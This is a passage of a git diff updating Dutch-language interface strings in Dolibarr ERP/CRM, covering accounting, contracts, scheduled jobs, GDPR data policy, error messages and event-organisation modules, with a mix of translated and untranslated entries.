per product TurnoverPerSaleTaxRateInCommitmentAccountingNotRelevant=Omzet rapportage per BTW percentage is niet beschikbaar. Alleen over gefactureerde omzet. CalculationMode=Berekeningswijze AccountancyJournal=Boekhoudcode journaal -ACCOUNTING_VAT_SOLD_ACCOUNT=Grootboekrekening BTW -ACCOUNTING_VAT_BUY_ACCOUNT=Boekhoudaccount standaard voor btw op aankopen (gebruikt indien niet gedefinieerd in de instelling van het btw-woordenboek) -ACCOUNTING_VAT_PAY_ACCOUNT=Standaard grootboekrekening BTW af te dragen -ACCOUNTING_ACCOUNT_CUSTOMER=Grootboekrekening debiteuren +ACCOUNTING_VAT_SOLD_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on sales (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_BUY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for VAT on purchases (used if not defined on VAT dictionary setup) +ACCOUNTING_VAT_PAY_ACCOUNT=Account (from the Chart Of Account) to be used as the default account for paying VAT +ACCOUNTING_ACCOUNT_CUSTOMER=Account (from the Chart Of Account) used for "customer" third parties ACCOUNTING_ACCOUNT_CUSTOMER_Desc=De speciale account die is gedefinieerd op de kaart van ralatie, wordt alleen gebruikt voor de Subledger-accounting. Deze wordt gebruikt voor grootboek en als standaardwaarde voor Subledger-boekhouding als er geen specifieke klantaccount voor derden is gedefinieerd. -ACCOUNTING_ACCOUNT_SUPPLIER=Grootboekrekening crediteuren +ACCOUNTING_ACCOUNT_SUPPLIER=Account (from the Chart of Account) used for the "vendor" third parties ACCOUNTING_ACCOUNT_SUPPLIER_Desc=De speciale boekhoudrekening die op een kaart van een derde is gedefinieerd, wordt alleen voor boekhouding van Subledger gebruikt. Deze wordt gebruikt voor het grootboek en als standaardwaarde voor de boekhouding van de subadministratie als er geen accountadministratie voor leveranciers bij derden is gedefinieerd. ConfirmCloneTax=Bevestig de kloon van een sociale / fiscale belasting ConfirmCloneVAT=Bevestig de kloon van een btw-aangifte diff --git a/htdocs/langs/nl_NL/contracts.lang b/htdocs/langs/nl_NL/contracts.lang index 7d024d9c5ef..8a9a6e258b4 100644 --- a/htdocs/langs/nl_NL/contracts.lang +++ b/htdocs/langs/nl_NL/contracts.lang @@ -20,6 +20,7 @@ ContractsSubscriptions=Contracten/Abonnementen ContractsAndLine=Contracten en lijn van de contracten Contract=Contract ContractLine=Contractregel +ContractLines=Contractregels Closing=Sluiting NoContracts=Geen contracten MenuServices=Diensten @@ -36,7 +37,7 @@ CloseAContract=Sluit een contract ConfirmDeleteAContract=Weet u zeker dat u dit contract met alle diensten wilt verwijderen? ConfirmValidateContract=Weet u zeker dat u dit contract wilt bevestigen onder %s? ConfirmActivateAllOnContract=Openen alle diensten (nog niet actief). Weet u zeker dat u dit wilt doen? -ConfirmCloseContract=This will close all services (expired or not). Are you sure you want to close this contract? +ConfirmCloseContract=Hiermee worden alle services gesloten (verlopen of niet). Weet u zeker dat u dit contract wilt sluiten? ConfirmCloseService=Weet u zeker dat u de dienst met datum %s wilt sluiten? ValidateAContract=Valideer een contract ActivateService=Activeer een contract @@ -79,7 +80,7 @@ ConfirmDeleteContractLine=Weet u zeker dat u deze contract regel wilt verwijdere MoveToAnotherContract=Verplaats dienst naar een ander contract. ConfirmMoveToAnotherContract=Weet u zeker dat u deze dienst wilt verplaatsen naar dit contract? ConfirmMoveToAnotherContractQuestion=Kies naar welk bestaand contract (van dezelfde derde partij), u deze dienst wilt verplaatsen -PaymentRenewContractId=Vernieuwing contractregel (%s) +PaymentRenewContractId=Renew contract %s (service %s) ExpiredSince=Verlopen sinds NoExpiredServices=Geen verlopen actieve diensten ListOfServicesToExpireWithDuration=Lijst van Diensten te vervallen in %s dagen @@ -102,3 +103,5 @@ TypeContact_contrat_external_SALESREPSIGN=Ondertekening contract contactpersoon HideClosedServiceByDefault=Verberg gesloten services als default ShowClosedServices=Toon gesloten services HideClosedServices=Verberg gesloten services +UserStartingService=Gebruiker start service +UserClosingService=Gebruiker sluitingsservice diff --git a/htdocs/langs/nl_NL/cron.lang b/htdocs/langs/nl_NL/cron.lang index cc37ade9fce..f224c5950fa 100644 --- a/htdocs/langs/nl_NL/cron.lang +++ b/htdocs/langs/nl_NL/cron.lang @@ -26,7 +26,7 @@ CronCommand=Commando CronList=Geplande taken CronDelete=Verwijder geplande taken CronConfirmDelete=Weet u zeker dat u deze geplande taken wilt verwijderen? -CronExecute=Start geplande taak +CronExecute=Launch now CronConfirmExecute=Weet u zeker dat u deze geplande taken nu wilt uitvoeren? CronInfo=Met de module Geplande taken kunt u taken plannen om ze automatisch uit te voeren. Taken kunnen ook handmatig worden gestart. CronTask=Taak @@ -58,7 +58,7 @@ CronNote=Reactie CronFieldMandatory=Velden %s zijn verplicht CronErrEndDateStartDt=Einddatum kan niet vóór startdatum liggen StatusAtInstall=Status bij module-installatie -CronStatusActiveBtn=Schema +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Deactiveren CronTaskInactive=Deze taak is uitgeschakeld (niet gepland) CronId=Id @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Ga naar menu "Home - Beheerhulpmidd JobDisabled=Taak uitgeschakeld MakeLocalDatabaseDumpShort=Back-up van lokale database MakeLocalDatabaseDump=Maak een lokale database dump. Parameters zijn: compressie ('gz' of 'bz' of 'none'), back-uptype ('mysql', 'pgsql', 'auto'), 1, 'auto' of te creëren bestandsnaam, aantal te bewaren back-upbestanden +MakeSendLocalDatabaseDumpShort=Lokale databaseback-up verzenden +MakeSendLocalDatabaseDump=Stuur lokale databaseback-up per e-mail. Parameters zijn: naar, van, onderwerp, bericht, bestandsnaam (naam van verzonden bestand), filter ('sql' alleen voor back-up van database) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Opgelet, voor prestatiedoeleinden, ongeacht de volgende datum van uitvoering van ingeschakelde taken, kunnen uw taken worden vertraagd tot maximaal %s uur voordat ze worden uitgevoerd. DATAPOLICYJob=Gegevens opschonen en anonimiseren JobXMustBeEnabled=Taak %s moet zijn ingeschakeld +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Laatst uitgevoerde geplande taak NextScheduledJobExecute=Volgende geplande taak om uit te voeren NumberScheduledJobError=Aantal foutieve geplande taken +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/nl_NL/datapolicy.lang b/htdocs/langs/nl_NL/datapolicy.lang new file mode 100644 index 00000000000..be6f001ff7b --- /dev/null +++ b/htdocs/langs/nl_NL/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Afnemer +DATAPOLICY_TIERS_PROSPECT = Prospect +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Leverancier +DATAPOLICY_CONTACT_CLIENT = Afnemer +DATAPOLICY_CONTACT_PROSPECT = Prospect +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Leverancier +DATAPOLICY_ADHERENT = Lid +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/nl_NL/dict.lang b/htdocs/langs/nl_NL/dict.lang index 00a53872ae4..2b3cd5bc651 100644 --- a/htdocs/langs/nl_NL/dict.lang +++ b/htdocs/langs/nl_NL/dict.lang @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Mevrouw +CivilityMMEShort=Mevrouw CivilityMR=De Heer +CivilityMRShort=De Heer CivilityMLE=Mejuffrouw CivilityMTRE=Meester CivilityDR=Dokter diff --git a/htdocs/langs/nl_NL/ecm.lang b/htdocs/langs/nl_NL/ecm.lang index e482978ea46..25e7b036abd 100644 --- a/htdocs/langs/nl_NL/ecm.lang +++ b/htdocs/langs/nl_NL/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Handmatige map ECMSectionAuto=Automatisch map ECMSectionsManual=Handmatige structuur ECMSectionsAuto=Automatische structuur +ECMSectionsMedias=Medias tree ECMSections=Mappen ECMRoot=ECM Root ECMNewSection=Nieuwe map @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Aantal bestanden in submappen ECMCreationUser=Ontwerper ECMArea=DMS/ECM omgeving ECMAreaDesc=In het gebied DMS / ECM (Document Management System / Electronic Content Management) kunt u alle soorten documenten in Dolibarr snel opslaan, delen en zoeken. -ECMAreaDesc2=* Automatische mappen zijn automatisch gevuld bij het toevoegen, vanaf een kaart van een element.
      * Handmatige mappen kunnen worden gebruikt voor het opslaan van documenten die niet gekoppeld zijn aan een bepaald element. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Map %s is verwijderd. ECMSectionWasCreated=Directory %s is gemaakt. ECMSearchByKeywords=Zoeken op trefwoorden @@ -45,5 +48,5 @@ GenerateImgWebp=Dupliceer alle afbeeldingen met een andere versie met .webp-inde ConfirmGenerateImgWebp=Als u bevestigt, genereert u een afbeelding in .webp-indeling voor alle afbeeldingen die zich momenteel in deze map bevinden (submappen zijn niet inbegrepen)... ConfirmImgWebpCreation=Bevestig alle afbeeldingen duplicatie SucessConvertImgWebp=Afbeeldingen succesvol gedupliceerd -ECMDirName=Dir name -ECMParentDirectory=Parent directory +ECMDirName=Directory +ECMParentDirectory=Bovenliggende map diff --git a/htdocs/langs/nl_NL/errors.lang b/htdocs/langs/nl_NL/errors.lang index ac8ed16cfd8..79baa7ce64b 100644 --- a/htdocs/langs/nl_NL/errors.lang +++ b/htdocs/langs/nl_NL/errors.lang @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Inlog %s bestaat reeds. ErrorGroupAlreadyExists=Groep %s bestaat reeds. ErrorEmailAlreadyExists=email 1%s bestaat al ErrorRecordNotFound=Tabelregel niet gevonden. +ErrorRecordNotFoundShort=Not found ErrorFailToCopyFile=Kan bestand '%s' in '%s' te kopiëren. ErrorFailToCopyDir=Kan map '%s' niet kopiëren naar '%s'. ErrorFailToRenameFile=Kon het bestand '%s' niet hernoemen naar '%s'. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Afbeeldingsbestand heeft geen ondersteunde indeling (uw PHP ErrorBadDateFormat=Waarde %s heeft verkeerde datum formaat ErrorWrongDate=Datum is niet correct! ErrorFailedToWriteInDir=Schrijven in de map %s mislukt +ErrorFailedToBuildArchive=Failed to build archive file %s ErrorFoundBadEmailInFile=Onjuist e-mail syntax gevonden voor %s regels in het bestand (bijvoorbeeld regel %s met email=%s) ErrorUserCannotBeDelete=Gebruiker kan niet worden verwijderd. Misschien is het geassocieerd met Dolibarr-entiteiten. ErrorFieldsRequired=Sommige verplichte velden zijn leeg gelaten. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Vul waarde in voor checkbox lijst ErrorNoValueForRadioType=Vul waarde in voor knoppen lijst ErrorBadFormatValueList=De lijstwaarde kan niet meer dan één komma hebben: %s , maar heeft minimaal één nodig: sleutel, waarde ErrorFieldCanNotContainSpecialCharacters=Het veld %s mag geen speciale tekens bevatten. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Het veld %s mag geen speciale tekens of hoofdletters bevatten en mag niet alleen cijfers bevatten. +ErrorFieldCanNotContainSpecialNorUpperCharacters=The field %s must not contain special characters, nor upper case characters, and must start with an alphabetical character (a-z) ErrorFieldMustHaveXChar=Het veld %s moet minimaal %s tekens bevatten. ErrorNoAccountancyModuleLoaded=Geen boekhoudingsmodule geactiveerd ErrorExportDuplicateProfil=Deze profile naam bestaat al voor deze export set. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Veld %s : '%s' komt niet overeen met re ErrorHtmlInjectionForField=Field %s: The value '%s' contains a malicious data not allowed ErrorFieldValueNotIn=Veld %s : '%s' is geen waarde gevonden in veld %s van %s ErrorFieldRefNotIn=Veld %s : '%s' is geen bestaande %s +ErrorMultipleRecordFoundFromRef=Several record found when searching from ref %s. No way to know which ID to use. ErrorsOnXLines=%s fouten gevonden ErrorFileIsInfectedWithAVirus=Het antivirusprogramma kon dit bestand niet valideren (het zou met een virus geïnfecteerd kunnen zijn) -ErrorSpecialCharNotAllowedForField=Speciale tekens zijn niet toegestaan in het veld " %s" ErrorNumRefModel=Er bestaat een verwijzing in de database (%s) en deze is niet compatibel met deze nummeringsregel. Verwijder de tabelregel of hernoem de verwijzing om deze module te activeren. ErrorQtyTooLowForThisSupplier=Hoeveelheid te laag voor deze leverancier of geen prijs gedefinieerd voor dit product voor deze leverancier ErrorOrdersNotCreatedQtyTooLow=Sommige bestellingen zijn niet gemaakt vanwege te lage hoeveelheden @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Objecten moeten de status 'Actie ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Objecten moeten de status 'Concept' of 'Uitgeschakeld' hebben om te worden ingeschakeld ErrorNoFieldWithAttributeShowoncombobox=Geen velden hebben eigenschap 'showoncombobox' in de definitie van object '%s'. Geen manier om de combolist te laten zien. ErrorFieldRequiredForProduct=Veld '1%s' is vereist voor product 1%s +AlreadyTooMuchPostOnThisIPAdress=You have already posted too much on this IP address. ProblemIsInSetupOfTerminal=Probleem is bij het instellen van terminal %s. ErrorAddAtLeastOneLineFirst=Voeg eerst minimaal één regel toe ErrorRecordAlreadyInAccountingDeletionNotPossible=Fout, record is al overgedragen in de boekhouding, verwijderen is niet mogelijk. @@ -277,8 +280,8 @@ ErrorWrongFileName=De naam van het bestand mag niet __SOMETHING__ bevatten ErrorNotInDictionaryPaymentConditions=Niet bekend in de gedefinieerde betaalregelingen, graag wijzigen ErrorIsNotADraft=%s is geen concept ErrorExecIdFailed=Kan opdracht "id" niet uitvoeren -ErrorBadCharIntoLoginName=Ongeautoriseerd teken in de inlognaam -ErrorRequestTooLarge=Fout, verzoek te groot +ErrorBadCharIntoLoginName=Unauthorized character in the field %s +ErrorRequestTooLarge=Error, request too large or session expired ErrorNotApproverForHoliday=U bent niet de fiatteur voor verlof %s ErrorAttributeIsUsedIntoProduct=Dit kenmerk wordt gebruikt in een of meer productvarianten ErrorAttributeValueIsUsedIntoProduct=Deze kenmerkwaarde wordt gebruikt in een of meer productvarianten @@ -291,6 +294,15 @@ ErrorAjaxRequestFailed=Verzoek mislukt ErrorThirpdartyOrMemberidIsMandatory=Derde partij of lid van maatschap is verplicht ErrorFailedToWriteInTempDirectory=Failed to write in temp directory ErrorQuantityIsLimitedTo=Quantity is limited to %s +ErrorFailedToLoadThirdParty=Failed to find/load thirdparty from id=%s, email=%s, name=%s +ErrorThisPaymentModeIsNotSepa=This payment mode is not a bank account +ErrorStripeCustomerNotFoundCreateFirst=Stripe customer is not set for this thirdparty (or set to a value deleted on Stripe side). Create (or re-attach) it first. +ErrorCharPlusNotSupportedByImapForSearch=IMAP search is not able to search into sender or recipient for a string containing the character + +ErrorTableNotFound=Table %s not found +ErrorValueForTooLow=Value for %s is too low +ErrorValueCantBeNull=Value for %s can't be null +ErrorDateOfMovementLowerThanDateOfFileTransmission=The date of the bank transaction can't be lower than the date of the file transmission +ErrorTooMuchFileInForm=Too much files in form, the maximum number is %s file(s) # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Uw PHP-parameter upload_max_filesize (%s) is hoger dan PHP-parameter post_max_size (%s). Dit is geen consistente opstelling. @@ -304,7 +316,7 @@ WarningConfFileMustBeReadOnly=Pas op, uw configuratiebestand (htdocs/conf/co WarningsOnXLines=Waarschuwing op bronregels %s WarningNoDocumentModelActivated=Er is geen model voor het genereren van documenten geactiveerd. Een model wordt standaard gekozen totdat u uw module-instellingen controleert. WarningLockFileDoesNotExists=Waarschuwing: zodra de installatie is voltooid, moet u de installatie- / migratiehulpprogramma's uitschakelen door een bestand install.lock toe te voegen aan de map %s . Het weglaten van dit bestand is een ernstig beveiligingsrisico. -WarningUntilDirRemoved=Alle beveiligingswaarschuwingen (alleen zichtbaar voor beheerders) blijven actief zolang het beveiligingslek aanwezig is (of dat constante MAIN_REMOVE_INSTALL_WARNING is toegevoegd in Setup-> Other Setup). +WarningUntilDirRemoved=This security warning will remain active as long as the vulnerability is present. WarningCloseAlways=Waarschuwing, het sluiten gebeurt zelfs als de hoeveelheid verschilt tussen bron- en doelelementen. Schakel deze functie voorzichtig in. WarningUsingThisBoxSlowDown=Waarschuwing, als u dit vak gebruikt, worden alle pagina's met het vak ernstig vertraagd. WarningClickToDialUserSetupNotComplete=De instelling van ClickToDial-informatie voor uw gebruiker is niet compleet (zie tabblad ClickToDial op uw gebruikerskaart). @@ -326,6 +338,8 @@ WarningAvailableOnlyForHTTPSServers=Alleen beschikbaar als u een beveiligde HTTP WarningModuleXDisabledSoYouMayMissEventHere=Module %s is niet ingeschakeld. Je kunt hier dus veel evenementen missen. WarningPaypalPaymentNotCompatibleWithStrict=De waarde 'Strikt' zorgt ervoor dat de online betaalfuncties niet correct werken. Gebruik in plaats daarvan 'Lax'. WarningThemeForcedTo=Waarschuwing, thema is gedwongen naar %s door verborgen constante MAIN_FORCETHEME +WarningPagesWillBeDeleted=Warning, this will also delete all existing pages/containers of the website. You should export your website before, so you have a backup to re-import it later. +WarningAutoValNotPossibleWhenStockIsDecreasedOnInvoiceVal=Automatic validation is disabled when option to decrease stock is set on "Invoice validation". # Validate RequireValidValue = Waarde niet geldig diff --git a/htdocs/langs/nl_NL/eventorganization.lang b/htdocs/langs/nl_NL/eventorganization.lang index c25f8289f7d..a224eab16cb 100644 --- a/htdocs/langs/nl_NL/eventorganization.lang +++ b/htdocs/langs/nl_NL/eventorganization.lang @@ -19,46 +19,50 @@ # ModuleEventOrganizationName = Evenementenorganisatie EventOrganizationDescription = Evenementenorganisatie via moduleproject -EventOrganizationDescriptionLong= Manage the organization of an event (show, conferences, attendees or speakers, with public pages for suggestion, vote or registration) +EventOrganizationDescriptionLong= Beheer de organisatie van een evenement (show, conferenties, aanwezigen of sprekers, met openbare pagina's voor suggestie, stemmen of registratie) # # Menu # EventOrganizationMenuLeft = Georganiseerde evenementen EventOrganizationConferenceOrBoothMenuLeft = Conferentie of stand -PaymentEvent=Payment of event +PaymentEvent=Betaling van evenement # # Admin page # -NewRegistration=Registration +NewRegistration=Registratie EventOrganizationSetup=Evenementorganisatie instellen -EventOrganization=Event organization +EventOrganization=Evenementenorganisatie Settings=Instellingen EventOrganizationSetupPage = Instellingenpagina voor evenementorganisatie EVENTORGANIZATION_TASK_LABEL = Label van taken om automatisch te maken wanneer het project is gevalideerd -EVENTORGANIZATION_TASK_LABELTooltip = Wanneer u een georganiseerd evenement valideert, kunnen sommige taken automatisch worden aangemaakt in het project

      Bijvoorbeeld:
      Send Call for Conference
      Send Call for Booth
      Send call for conferences a0342fcc Receive call for aanwezigen herinner aan evenement naar sprekers
      Stuur herinnering aan evenement naar standhoster
      Stuur herinnering aan evenement naar aanwezigen +EVENTORGANIZATION_TASK_LABELTooltip = Wanneer u een evenement valideert om te organiseren, kunnen sommige taken automatisch worden aangemaakt in het project

      Bijvoorbeeld:
      Stuur oproep voor conferenties
      Stuur oproep voor standen
      Valideer suggesties van Openen voor conferenties a0342fz
      Stuur een herinnering aan het evenement naar sprekers
      Stuur een herinnering aan het evenement naar standhosters
      Stuur een herinnering aan het evenement naar deelnemers +EVENTORGANIZATION_TASK_LABELTooltip2=Houd leeg als u taken niet automatisch hoeft aan te maken. EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = Categorie om toe te voegen aan derden, automatisch aangemaakt wanneer iemand een conferentie voorstelt EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = Categorie om toe te voegen aan derden, automatisch aangemaakt wanneer ze een stand voorstellen EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = Sjabloon van e-mail om te verzenden na ontvangst van een suggestie van een conferentie. EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = Sjabloon van e-mail om te verzenden na ontvangst van een suggestie van een stand. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = Template of email to send after a registration to a booth has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = Template of email to send after a registration to an event has been paid. -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = Template of email to use when sending emails from the massaction "Send emails" to speakers -EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = Template of email to use when sending emails from the massaction "Send emails" on attendee list -EVENTORGANIZATION_FILTERATTENDEES_CAT = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties in the category -EVENTORGANIZATION_FILTERATTENDEES_TYPE = In the form to create/add an attendee, restricts the list of thirdparties to thirdparties with the nature +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = Sjabloon van e-mail om te verzenden nadat een registratie naar een stand is betaald. +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = Sjabloon van e-mail om te verzenden nadat een registratie voor een evenement is betaald. +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = Sjabloon van e-mail om te gebruiken bij het verzenden van e-mails van de massaction "Stuur e-mails" naar sprekers +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = Sjabloon van e-mail om te gebruiken bij het verzenden van e-mails van de massaction "Stuur e-mails" op de deelnemerslijst +EVENTORGANIZATION_FILTERATTENDEES_CAT = In het formulier om een deelnemer aan te maken/toe te voegen, wordt de lijst met derden beperkt tot derden in de categorie +EVENTORGANIZATION_FILTERATTENDEES_TYPE = In het formulier om een deelnemer aan te maken/toe te voegen, wordt de lijst van derden beperkt tot derden met de aard # # Object # EventOrganizationConfOrBooth= Conferentie of stand -ManageOrganizeEvent = Manage the organization of an event +EventOrganizationConfOrBoothes=Conferences or Boothes +ManageOrganizeEvent = Beheer de organisatie van een evenement ConferenceOrBooth = Conferentie of stand ConferenceOrBoothTab = Conferentie of stand -AmountPaid = Amount paid -DateOfRegistration = Date of registration +AmountPaid = Betaald bedrag +DateOfRegistration = Registratie datum ConferenceOrBoothAttendee = Conference Or Booth Attendee +ApplicantOrVisitor=Applicant or visitor +Speaker=Speaker # # Template Mail @@ -67,31 +71,31 @@ YourOrganizationEventConfRequestWasReceived = Uw verzoek voor een conferentie is YourOrganizationEventBoothRequestWasReceived = Uw aanvraag voor een stand is ontvangen EventOrganizationEmailAskConf = Verzoek om conferentie EventOrganizationEmailAskBooth = Aanvraag voor stand -EventOrganizationEmailBoothPayment = Payment of your booth -EventOrganizationEmailRegistrationPayment = Registration for an event +EventOrganizationEmailBoothPayment = Betaling van uw stand +EventOrganizationEmailRegistrationPayment = Registratie voor een evenement EventOrganizationMassEmailAttendees = Communicatie naar deelnemers EventOrganizationMassEmailSpeakers = Communicatie naar sprekers -ToSpeakers=To speakers +ToSpeakers=Naar sprekers # # Event # -AllowUnknownPeopleSuggestConf=Allow people to suggest conferences -AllowUnknownPeopleSuggestConfHelp=Allow unknown people to suggest a conference they want to do -AllowUnknownPeopleSuggestBooth=Allow people to apply for a booth -AllowUnknownPeopleSuggestBoothHelp=Allow unknown people to apply for a booth +AllowUnknownPeopleSuggestConf=Toestaan dat mensen conferenties voorstellen +AllowUnknownPeopleSuggestConfHelp=Laat onbekende mensen een conferentie voorstellen die ze willen doen +AllowUnknownPeopleSuggestBooth=Laat mensen een stand aanvragen +AllowUnknownPeopleSuggestBoothHelp=Sta onbekende mensen toe om een stand aan te vragen PriceOfRegistration=Prijs van registratie -PriceOfRegistrationHelp=Price to pay to register or participate in the event +PriceOfRegistrationHelp=Prijs te betalen om te registreren of deel te nemen aan het evenement PriceOfBooth=Abonnementsprijs om een stand te staan PriceOfBoothHelp=Abonnementsprijs om een stand te staan -EventOrganizationICSLink=Link ICS for conferences +EventOrganizationICSLink=Koppel ICS voor conferenties ConferenceOrBoothInformation=Informatie over conferentie of stand Or Attendees=deelnemers -ListOfAttendeesOfEvent=List of attendees of the event project +ListOfAttendeesOfEvent=Lijst met deelnemers van het evenementproject DownloadICSLink = ICS-link downloaden -EVENTORGANIZATION_SECUREKEY = Seed to secure the key for the public registration page to suggest a conference +EVENTORGANIZATION_SECUREKEY = Seed om de sleutel voor de openbare registratiepagina te beveiligen om een conferentie voor te stellen SERVICE_BOOTH_LOCATION = Service gebruikt voor de factuurregel over een standlocatie -SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = Service used for the invoice row about an attendee subscription to an event +SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = Service die wordt gebruikt voor de factuurrij over een deelnemersabonnement op een evenement NbVotes=Aantal stemmen # # Status @@ -106,41 +110,42 @@ EvntOrgCancelled = Geannuleerd # Public page # SuggestForm = Suggestie pagina -SuggestOrVoteForConfOrBooth = Page for suggestion or vote -EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest a new one for the event. You can also apply to have a booth during the event. -EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. -EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. +SuggestOrVoteForConfOrBooth = Pagina voor suggestie of stem +EvntOrgRegistrationHelpMessage = Hier kunt u stemmen op een conferentie of een nieuwe voorstellen voor het evenement. U kunt zich ook aanmelden voor een stand tijdens het evenement. +EvntOrgRegistrationConfHelpMessage = Hier kunt u een nieuwe conferentie voorstellen om tijdens het evenement te animeren. +EvntOrgRegistrationBoothHelpMessage = Hier kunt u zich aanmelden voor een stand tijdens het evenement. ListOfSuggestedConferences = Lijst met voorgestelde conferenties -ListOfSuggestedBooths = Lijst met voorgestelde stands -ListOfConferencesOrBooths=List of conferences or booths of event project +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project SuggestConference = Een nieuwe conferentie voorstellen SuggestBooth = Stel een stand voor ViewAndVote = Bekijk en stem op voorgestelde evenementen -PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event -PublicAttendeeSubscriptionPage = Public link for registration to this event only +PublicAttendeeSubscriptionGlobalPage = Openbare link voor registratie voor het evenement +PublicAttendeeSubscriptionPage = 